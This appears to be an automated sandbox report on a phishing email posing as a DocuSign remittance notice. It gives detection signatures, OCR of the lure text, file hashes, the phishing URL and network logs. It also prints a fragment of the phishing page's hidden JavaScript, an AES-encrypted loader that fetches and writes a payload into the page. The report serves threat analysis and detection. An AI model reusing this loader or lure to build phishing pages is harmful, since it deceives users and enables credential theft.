Windows Analysis Report
Complete with Docusign_ Remittance Advice .pdf(1).eml

Overview

General Information

Sample name: Complete with Docusign_ Remittance Advice .pdf(1).eml
Analysis ID: 1545547
MD5: 21ceb47d9bab6a7394fa0eb2dc385fc9
SHA1: c97eb2e6a3073729107aadd14704dc01338a6451
SHA256: cc62f19a6dbd5fd89c935ca9b39dfb21d4fdb9c7e1f87bc8c413799f188efa06
Infos:

Detection

HTMLPhisher
Score: 68
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Yara detected HtmlPhish70
AI detected landing page (webpage, office document or email)
AI detected potential phishing Email
Phishing site detected (based on shot match)
Phishing site or detected (based on various text indicators)
Suspicious MSG / EML detected (based on various text indicators)
HTML body contains low number of good links
HTML page contains hidden javascript code
HTML title does not match URL
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Queries the volume information (name, serial number etc) of a device
Sigma detected: Office Autorun Keys Modification
Stores files to the Windows start menu directory
Stores large binary data to the registry
Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Phishing
barindex
Yara detected HtmlPhish70
Source: Yara match File source: 2.6.pages.csv, type: HTML
Phishing site detected (based on shot match)
Source: https://cosiosos.com.de/7i2ko/ Matcher: Template: captcha matched
Phishing site or detected (based on various text indicators)
Source: Chrome DOM: 1.2 OCR Text: Done! Select Finish to send the completed document OTHER ACTIONS FINISH Docusign Envelope BBtE6BOA-3CE34DCF-90AA-OFB4E6AB9664 docusign Accounting Department shared a PDF via DocuSign secure Remittance Advice.pdf TAP HERE TO VIEW DOCUMENT? View with DocuSign: Remittance Advice.pdf Do Not Share This Email This email contains a secure link to DocuSign. Please do not share this email, link, or access code with others. docusign Cl-jcnge Language - English (LIS) Y' Terms Of & Privacy Y I Copyright Z Oocvsignlnc: V2R
Suspicious MSG / EML detected (based on various text indicators)
Source: MSG / EML OCR Text: IS) docusign Matt Davies sent you a document to review and sign. REVIEW DOCUMENT Matt Davies matt.davies@lsaacteam.com clounsbury@phoenixcrane.com, Complete with Docusign: Remittance Advice .pdf Thank You, Matt Davies Do Not Share This Email This email contains a secure link to Docusign. Please do not share this email, link, or access code with others. Alternate Signing Method Visit Docusign.com, click 'Access Documents', and enter the security code: IAIOF8A2BC914DE887D662C09ADFE3717 About Docusign Sign documents electronically in just minutes. It's safe, secure, and legally binding. Whether you're in an office, at home, on-the-go -- or even across the globe -- Docusign provides a professional trusted solution for Digital Transaction ManagementTM. Questions about the Document? If you need to modify the document or have questions about the details in the document, please reach out to the sender by emailing them directly. Stop receiving this email Report this email or read more about Declining to sign and Managing notifications. If you have trouble signing, visit "How to Sign a Document" on our Docusign Support Center, or browse our Docusign Community for more information. Download the Docusign App This message was sent to you by Matt Davies who is using the Docusign Electronic Signature Service. If you would rather not receive email from this sender you may contact the sender with your request.
HTML body contains low number of good links
Source: https://cosiosos.com.de/7i2ko/ HTTP Parser: Number of links: 0
HTML page contains hidden javascript code
Source: https://cosiosos.com.de/7i2ko/ HTTP Parser: Base64 decoded: {"a":"A3KVglQ3qTtA\/QD0GP0e4F6I3\/qfFmpclAotssmi7LQ=","c":"2e2961b74d04e46119603ea02e65b13a","b":"0c719901e6775460a9456a9df3bb57a86771c97f38249875105b084bbf064bedf213c23cd16a41c477197fa97e5a1126a4bb3b7bbdd8dc2b704a13c76145cc99790e78c5c00ee5af47a45794336c4...
HTML title does not match URL
Source: https://cosiosos.com.de/7i2ko/ HTTP Parser: Title: Custom Creations Car Society - flifeserieso.ru does not match URL
Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)
Source: https://docucdn-a.akamaihd.net/production/1ds/widgets/@ds/signing/24.10.26-8/signing-conversations.js?cs=7aa34814 HTTP Parser: /*! for license information please see signing-conversations.js.license.txt */!function(){var e,t,n,r,o,i={57279:function(e,t,n){"use strict";var r=n(5946);object.defineproperty(t,"__esmodule",{value:!0}),t.default=void 0;var o=r(n(61240)),i=r(n(20271)),a=r(n(43563)),u=r(n(70533)),s=function(){function e(){(0,i.default)(this,e),(0,u.default)(this,"queue",new array),(0,u.default)(this,"workingonpromise",!1)}return(0,a.default)(e,[{key:"enqueue",value:function(e){var t=this;return new o.default((function(n,r){t.queue.push({worker:e,resolve:n,reject:r}),t.dequeue()}))}},{key:"dequeue",value:function(){var e=this;if(this.workingonpromise)return!1;var t=this.queue.shift();if(!t)return!1;try{this.workingonpromise=!0,t.worker().then((function(n){e.workingonpromise=!1,t.resolve(n),e.dequeue()})).catch((function(n){e.workingonpromise=!1,t.reject(n),e.dequeue()}))}catch(e){this.workingonpromise=!1,t.reject(e),this.dequeue()}return!0}}]),e}();t.default=s},74087:function(e,t,n){"use strict";var r=n(50697);object.definep...
Source: https://cosiosos.com.de/7i2ko/ HTTP Parser: asyncfunction cacophony(cabdriver) {var {a,b,c,d} = json.parse(cabdriver); return cryptojs.aes.decrypt(a, cryptojs.pbkdf2(cryptojs.enc.hex.parse(d),cryptojs.enc.hex.parse(b), {hasher: cryptojs.algo.sha512, keysize: 64/8,iterations: 999}),{iv: cryptojs.enc.hex.parse(c)}).tostring(cryptojs.enc.utf8); } (async()=> {document.write(await cacophony(await (await fetch(awaitcacophony(atob(`eyjhijoiqtnlvmdsutnxvhrbxc9rrdbhudblney2stncl3fmrm1wy2xbb3rzc21pn0xrpsisimmioiiyzti5njfinzrkmdrlndyxmtk2mdnlytayzty1yjezysisimiioiiwyzcxotkwmwu2nzc1ndywytk0ntzhowrmm2jintdhody3nzfjotdmmzgyndk4nzuxmdvimdg0ymjmmdy0ymvkzjixm2mym2nkmtzhndfjndc3mtk3zme5n2u1ytexmjzhngjim2i3ymjkzdhkyzjinza0ytezyzc2mtq1y2m5otc5mgu3ogm1yzawzwu1ywy0n2e0ntc5ndmznmm0ogu5zwjkotnkzwzlmje2nzvizdg3ztkymwzlntkxyzixyjhmnmu3njk1zmi1nzi1ndk3y2rjmdlknjq2ytrkm2e3mjdlntvkn2eyzjcyy2y4n2jimzi0n2e1mzc2zgqzngzmyjuxmzbizta1nmjjndewmtjhywy3ody3oguwotaxnjjkztrhn2mxzda4ytjizdhmyjlhnwuymdqzmdi3mdcxyta4odjizdkxymzhngnmnwu5ytc...
Source: https://na4.docusign.net/Signing/?ti=049c81426da24951a14c1de4df20f331 HTTP Parser: No favicon
Source: https://cosiosos.com.de/7i2ko/ HTTP Parser: No favicon
Source: https://cosiosos.com.de/7i2ko/ HTTP Parser: No favicon
Source: https://cosiosos.com.de/7i2ko/ HTTP Parser: No favicon
Source: https://cosiosos.com.de/7i2ko/ HTTP Parser: No <meta name="author".. found
Source: https://cosiosos.com.de/7i2ko/ HTTP Parser: No <meta name="copyright".. found
Source: unknown HTTPS traffic detected: 20.190.159.71:443 -> 192.168.2.16:49705 version: TLS 1.2
Source: unknown HTTPS traffic detected: 20.190.159.71:443 -> 192.168.2.16:49718 version: TLS 1.2
Source: unknown HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.16:49720 version: TLS 1.2
Source: unknown HTTPS traffic detected: 2.19.244.127:443 -> 192.168.2.16:49731 version: TLS 1.2
Source: unknown HTTPS traffic detected: 2.19.244.127:443 -> 192.168.2.16:49739 version: TLS 1.2
Source: unknown HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.16:49874 version: TLS 1.2
Source: chrome.exe Memory has grown: Private usage: 26MB later: 36MB
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 104.18.66.57 104.18.66.57
Source: Joe Sandbox View IP Address: 104.18.94.41 104.18.94.41
Source: Joe Sandbox View IP Address: 104.17.24.14 104.17.24.14
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: global traffic HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=taDD3xpuybGbbSO&MD=rvYMRxo8 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic HTTP traffic detected: GET /ds_arya_wrapper.min.js?f=1 HTTP/1.1Host: a.docusign.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://na4.docusign.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /ds_arya_wrapper.min.js?f=1 HTTP/1.1Host: a.docusign.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ds_a=7cde590a-d546-483f-9ea5-7c08b7dcb3d1
Source: global traffic HTTP traffic detected: GET /track/?data=eyJldmVudCI6ICJtcF9wYWdlX3ZpZXciLCJwcm9wZXJ0aWVzIjogeyIkb3MiOiAiV2luZG93cyIsIiRicm93c2VyIjogIkNocm9tZSIsIiRyZWZlcnJpbmdfZG9tYWluIjogIm5hNC5kb2N1c2lnbi5uZXQiLCIkc2NyZWVuX2hlaWdodCI6IDEwMjQsIiRzY3JlZW5fd2lkdGgiOiAxMjgwLCJtcF9saWIiOiAid2ViIiwiZGlzdGluY3RfaWQiOiAiMTkyZGUyOWVmN2I1ODItMDljMGVjNmQwNThmOGQtMjYwMzFlNTEtMTQwMDAwLTE5MmRlMjllZjdjNGEwIiwiJGluaXRpYWxfcmVmZXJyaW5nX2RvbWFpbiI6ICJuYTQuZG9jdXNpZ24ubmV0IiwibXBfcGFnZSI6ICJuYTQuZG9jdXNpZ24ubmV0IiwibXBfcmVmZXJyZXIiOiAibmE0LmRvY3VzaWduLm5ldCIsIm1wX2Jyb3dzZXIiOiAiQ2hyb21lIiwibXBfcGxhdGZvcm0iOiAiV2luZG93cyIsInRva2VuIjogIjMwNGNjYmRlMjRkM2IxNWZmZTJkNWRlMzBjMTBkYWIyIn19&ip=1&_=1730304143235 HTTP/1.1Host: api.mixpanel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: https://na4.docusign.netSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://na4.docusign.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /track/?data=eyJldmVudCI6ICJtcF9wYWdlX3ZpZXciLCJwcm9wZXJ0aWVzIjogeyIkb3MiOiAiV2luZG93cyIsIiRicm93c2VyIjogIkNocm9tZSIsIiRyZWZlcnJpbmdfZG9tYWluIjogIm5hNC5kb2N1c2lnbi5uZXQiLCIkc2NyZWVuX2hlaWdodCI6IDEwMjQsIiRzY3JlZW5fd2lkdGgiOiAxMjgwLCJtcF9saWIiOiAid2ViIiwiZGlzdGluY3RfaWQiOiAiMTkyZGUyOWVmN2U3NTItMDhmMzEzMjkxYmRhYTYtMjYwMzFlNTEtMTQwMDAwLTE5MmRlMjllZjgwODAxIiwiJGluaXRpYWxfcmVmZXJyaW5nX2RvbWFpbiI6ICJuYTQuZG9jdXNpZ24ubmV0IiwibXBfcGFnZSI6ICJuYTQuZG9jdXNpZ24ubmV0IiwibXBfcmVmZXJyZXIiOiAibmE0LmRvY3VzaWduLm5ldCIsIm1wX2Jyb3dzZXIiOiAiQ2hyb21lIiwibXBfcGxhdGZvcm0iOiAiV2luZG93cyIsInRva2VuIjogIjYyNDRiYjllMzFkZjZkOGRjZjhjNDEzNWRlZmU2NDYwIn19&ip=1&_=1730304143236 HTTP/1.1Host: api.mixpanel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: https://na4.docusign.netSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://na4.docusign.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic HTTP traffic detected: GET /track/?data=eyJldmVudCI6ICJtcF9wYWdlX3ZpZXciLCJwcm9wZXJ0aWVzIjogeyIkb3MiOiAiV2luZG93cyIsIiRicm93c2VyIjogIkNocm9tZSIsIiRyZWZlcnJpbmdfZG9tYWluIjogIm5hNC5kb2N1c2lnbi5uZXQiLCIkc2NyZWVuX2hlaWdodCI6IDEwMjQsIiRzY3JlZW5fd2lkdGgiOiAxMjgwLCJtcF9saWIiOiAid2ViIiwiZGlzdGluY3RfaWQiOiAiMTkyZGUyOWVmN2U3NTItMDhmMzEzMjkxYmRhYTYtMjYwMzFlNTEtMTQwMDAwLTE5MmRlMjllZjgwODAxIiwiJGluaXRpYWxfcmVmZXJyaW5nX2RvbWFpbiI6ICJuYTQuZG9jdXNpZ24ubmV0IiwibXBfcGFnZSI6ICJuYTQuZG9jdXNpZ24ubmV0IiwibXBfcmVmZXJyZXIiOiAibmE0LmRvY3VzaWduLm5ldCIsIm1wX2Jyb3dzZXIiOiAiQ2hyb21lIiwibXBfcGxhdGZvcm0iOiAiV2luZG93cyIsInRva2VuIjogIjYyNDRiYjllMzFkZjZkOGRjZjhjNDEzNWRlZmU2NDYwIn19&ip=1&_=1730304143236 HTTP/1.1Host: api.mixpanel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /track/?data=eyJldmVudCI6ICJtcF9wYWdlX3ZpZXciLCJwcm9wZXJ0aWVzIjogeyIkb3MiOiAiV2luZG93cyIsIiRicm93c2VyIjogIkNocm9tZSIsIiRyZWZlcnJpbmdfZG9tYWluIjogIm5hNC5kb2N1c2lnbi5uZXQiLCIkc2NyZWVuX2hlaWdodCI6IDEwMjQsIiRzY3JlZW5fd2lkdGgiOiAxMjgwLCJtcF9saWIiOiAid2ViIiwiZGlzdGluY3RfaWQiOiAiMTkyZGUyOWVmN2I1ODItMDljMGVjNmQwNThmOGQtMjYwMzFlNTEtMTQwMDAwLTE5MmRlMjllZjdjNGEwIiwiJGluaXRpYWxfcmVmZXJyaW5nX2RvbWFpbiI6ICJuYTQuZG9jdXNpZ24ubmV0IiwibXBfcGFnZSI6ICJuYTQuZG9jdXNpZ24ubmV0IiwibXBfcmVmZXJyZXIiOiAibmE0LmRvY3VzaWduLm5ldCIsIm1wX2Jyb3dzZXIiOiAiQ2hyb21lIiwibXBfcGxhdGZvcm0iOiAiV2luZG93cyIsInRva2VuIjogIjMwNGNjYmRlMjRkM2IxNWZmZTJkNWRlMzBjMTBkYWIyIn19&ip=1&_=1730304143235 HTTP/1.1Host: api.mixpanel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /datafiles/MUGKFLCdCtxUSgrSTyhbw.json HTTP/1.1Host: cdn.optimizely.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: https://na4.docusign.netSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://na4.docusign.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /datafiles/MUGKFLCdCtxUSgrSTyhbw.json HTTP/1.1Host: cdn.optimizely.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /track/?data=eyJldmVudCI6ICJDb25zZW50IEFjY2VwdGVkIiwicHJvcGVydGllcyI6IHsiJG9zIjogIldpbmRvd3MiLCIkYnJvd3NlciI6ICJDaHJvbWUiLCIkcmVmZXJyaW5nX2RvbWFpbiI6ICJuYTQuZG9jdXNpZ24ubmV0IiwiJHNjcmVlbl9oZWlnaHQiOiAxMDI0LCIkc2NyZWVuX3dpZHRoIjogMTI4MCwibXBfbGliIjogIndlYiIsImRpc3RpbmN0X2lkIjogIjMzYWY2NmYxNGQ3ZDZkMTZmYjM5OTA1NzIzYmVlY2QwYjQ2NjIyMTciLCIkaW5pdGlhbF9yZWZlcnJpbmdfZG9tYWluIjogIm5hNC5kb2N1c2lnbi5uZXQiLCJQb3N0IFNpZ25pbmcgRGlhbG9nIjogIlNhdmUgQSBDb3B5IiwiRW52ZWxvcGUgSUQiOiAiYzUyNGZiMWRjMDNlODkyZjZiOTg1NDQxYjY1ZTRhMTJhZmJlZGQxOSIsIlJlY2lwaWVudCBJRCI6ICJjOGRhNzlhZjE5NmI0ODM5OGJiNTE1NWVlZjMwMTFiNDViYWRkYzE2IiwiU2lnbmVyIElEIjogIjMzYWY2NmYxNGQ3ZDZkMTZmYjM5OTA1NzIzYmVlY2QwYjQ2NjIyMTciLCJCcm93c2VyIFZlcnNpb24iOiAiQ2hyb21lIDEzMC4wIiwiRmllbGRzIFJlY2lwaWVudCI6ICIwIiwiRmllbGRzIEVudmVsb3BlIjogIjEiLCJSZXF1aXJlZCBGaWVsZHMiOiAiMCIsIkxhbmd1YWdlIjogImVuIiwiU2lnbmluZyBBY2Nlc3MiOiAiUmVtb3RlIiwiQXV0b05hdiBSdWxlcyI6ICJGaWVsZHNSZXF1aXJlZCIsIlJlY2lwaWVudHMiOiAiNTAiLCJSZWNpcGllbnQgVHlwZSI6ICJTaWduZXIiLCJSZWNpcGllbnRzIFdvcmtmbG93IjogIjUwIiwiU2VuZGVyIEFjY291bnQgSUQiOiAiOGIwNjI1ODhiMjM4NTUzODA4OTJmOGJiNDllNzhmMmNmYjA2MjhkMSIsIkFjY291bnQgSUQiOiAiODgwMzlhNThkYjY5ODA0ZjQwMmY5MjUyODg4MmNjZDE5YjU3ZDc5OCIsIkJyYW5kZWQiOiBmYWxzZSwiQnJhbmRlZCBMb2dvIjogZmFsc2UsIkJyYW5kZWQgQ29sb3IiOiBmYWxzZSwiQnJhbmRlZCBGaWxlIjogZmFsc2UsIkNvbmNhdCBNb2RlIjogZmFsc2UsIkF0dGFjaG1lbnQgQWRkZWQiOiBmYWxzZSwiQXR0YWNobWVudCBDb3VudCI6IDAsIkF0dGFjaG1lbnQgTWV0aG9kIjogbnVsbCwiUGFnZXMiOiAiMSIsIkRvY3MiOiAiMSIsIkF1dGhlbnRpY2F0aW9uIjogIk5vbmUiLCJMb2dnZWQgSW4iOiBmYWxzZSwiQ29uc2VudCBTaG93biI6IHRydWUsIkFjY291bnQgSG9sZGVyIjogZmFsc2UsIkZpZWxkIFNpZ25hdHVyZSI6IGZhbHNlLCJGaWVsZCBJbml0aWFsIjogZmFsc2UsIkZpZWxkIFN0YW1wIjogZmFsc2UsIkZpZWxkIERhdGUiOiBmYWxzZSwiRmllbGQgVGV4dCI6IGZhbHNlLCJGaWVsZCBOYW1lIjogZmFsc2UsIkZpZWxkIENvbXBhbnkiOiBmYWxzZSwiRmllbGQgVGl0bGUiOiBmYWxzZSwiRmllbGQgRW1haWwiOiBmYWxzZSwiRmllbGQgQ2hlY2tib3giOiBmYWxzZSwiRmllbGQgUmFkaW8iOiBmYWxzZSwiRmllbGQgRHJvcGRvd24iOiBmYWxzZSwiRmllbGQgQXR0YWNobWVudCI6IGZhbHNlLCJGaWVsZCBOb3RlIjogZmFsc2UsIkZpZWxkIEFwcHJvdmUiOiBmYWxzZSwiRmllbGQgRGVjbGluZSI6IGZhbHNlLCJGaWVsZCBWaWV3IjogZmFsc2UsIkZpZWxkIEZvcm11bGEiOiBmYWxzZSwiVGVtcGxhdGUgVXNlZCI6IGZhbHNlLCJTdXBwbGVtZW50YWwgRG9jdW1lbnQgQ291bnQiOiAwLCJTdXBwbGVtZW50YWwgRG9jdW1lbnQgUmVxdWlyZW1lbnRzIjogIiIsIkF1dG9Db21wbGV0ZSBFbmFibGVkIjogZmFsc2UsInByb2R1Y3QgYXJlYSI6ICJTaWduaW5nIiwiRnJlZWZvcm0iOiBmYWxzZSwiU2lnbmluZ0V4dGVuc2lvbnMiOiB0cnVlLCJCcm93c2VyIFdpZHRoIEluaXRpYWwiOiAxMjgwLCJCcm93c2VyIEhlaWdodCBJbml0aWFsIjogOTA3LCJCcm93c2VyIFdpZHRoIjogMTI4MCwiQnJvd3NlciBIZWlnaHQiOiA5MDcsIlNlc3Npb24gQWJvdXQgdG8gRXhwaXJlIENvdW50IjogMCwiVG9wIEZpbmlzaCBIaWRkZW4iOiBmYWxzZSwiUG93ZXJGb3JtIjogZmFsc2UsIkEvQiBUZXN0cyI6ICJpZnJhbWVsZXNzOiBtb2JpbGUiLCJQb3dlcmZvcm0gU2VuZGVyIjogZmFsc2UsIlBsYXRmb3JtIjogIldlYiBBcHAiLCJEU19BIjogIjdjZGU1OTBhLWQ1NDYtNDgzZi05ZWE1LTdjMDhiN2RjYjNkMSIsInRva2VuIjogIjMwNGNjYmRlMjRkM2IxNWZmZTJkNWRlMzBjMTBkYWIyIn19&ip=1&_=1730304166882 HTTP/1.1Host: api.mixpanel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="
Source: global traffic HTTP traffic detected: GET /track/?data=eyJldmVudCI6ICJDb25zZW50IEFjY2VwdGVkIiwicHJvcGVydGllcyI6IHsiJG9zIjogIldpbmRvd3MiLCIkYnJvd3NlciI6ICJDaHJvbWUiLCIkcmVmZXJyaW5nX2RvbWFpbiI6ICJuYTQuZG9jdXNpZ24ubmV0IiwiJHNjcmVlbl9oZWlnaHQiOiAxMDI0LCIkc2NyZWVuX3dpZHRoIjogMTI4MCwibXBfbGliIjogIndlYiIsImRpc3RpbmN0X2lkIjogIjMzYWY2NmYxNGQ3ZDZkMTZmYjM5OTA1NzIzYmVlY2QwYjQ2NjIyMTciLCIkaW5pdGlhbF9yZWZlcnJpbmdfZG9tYWluIjogIm5hNC5kb2N1c2lnbi5uZXQiLCJQb3N0IFNpZ25pbmcgRGlhbG9nIjogIlNhdmUgQSBDb3B5IiwiRW52ZWxvcGUgSUQiOiAiYzUyNGZiMWRjMDNlODkyZjZiOTg1NDQxYjY1ZTRhMTJhZmJlZGQxOSIsIlJlY2lwaWVudCBJRCI6ICJjOGRhNzlhZjE5NmI0ODM5OGJiNTE1NWVlZjMwMTFiNDViYWRkYzE2IiwiU2lnbmVyIElEIjogIjMzYWY2NmYxNGQ3ZDZkMTZmYjM5OTA1NzIzYmVlY2QwYjQ2NjIyMTciLCJCcm93c2VyIFZlcnNpb24iOiAiQ2hyb21lIDEzMC4wIiwiRmllbGRzIFJlY2lwaWVudCI6ICIwIiwiRmllbGRzIEVudmVsb3BlIjogIjEiLCJSZXF1aXJlZCBGaWVsZHMiOiAiMCIsIkxhbmd1YWdlIjogImVuIiwiU2lnbmluZyBBY2Nlc3MiOiAiUmVtb3RlIiwiQXV0b05hdiBSdWxlcyI6ICJGaWVsZHNSZXF1aXJlZCIsIlJlY2lwaWVudHMiOiAiNTAiLCJSZWNpcGllbnQgVHlwZSI6ICJTaWduZXIiLCJSZWNpcGllbnRzIFdvcmtmbG93IjogIjUwIiwiU2VuZGVyIEFjY291bnQgSUQiOiAiOGIwNjI1ODhiMjM4NTUzODA4OTJmOGJiNDllNzhmMmNmYjA2MjhkMSIsIkFjY291bnQgSUQiOiAiODgwMzlhNThkYjY5ODA0ZjQwMmY5MjUyODg4MmNjZDE5YjU3ZDc5OCIsIkJyYW5kZWQiOiBmYWxzZSwiQnJhbmRlZCBMb2dvIjogZmFsc2UsIkJyYW5kZWQgQ29sb3IiOiBmYWxzZSwiQnJhbmRlZCBGaWxlIjogZmFsc2UsIkNvbmNhdCBNb2RlIjogZmFsc2UsIkF0dGFjaG1lbnQgQWRkZWQiOiBmYWxzZSwiQXR0YWNobWVudCBDb3VudCI6IDAsIkF0dGFjaG1lbnQgTWV0aG9kIjogbnVsbCwiUGFnZXMiOiAiMSIsIkRvY3MiOiAiMSIsIkF1dGhlbnRpY2F0aW9uIjogIk5vbmUiLCJMb2dnZWQgSW4iOiBmYWxzZSwiQ29uc2VudCBTaG93biI6IHRydWUsIkFjY291bnQgSG9sZGVyIjogZmFsc2UsIkZpZWxkIFNpZ25hdHVyZSI6IGZhbHNlLCJGaWVs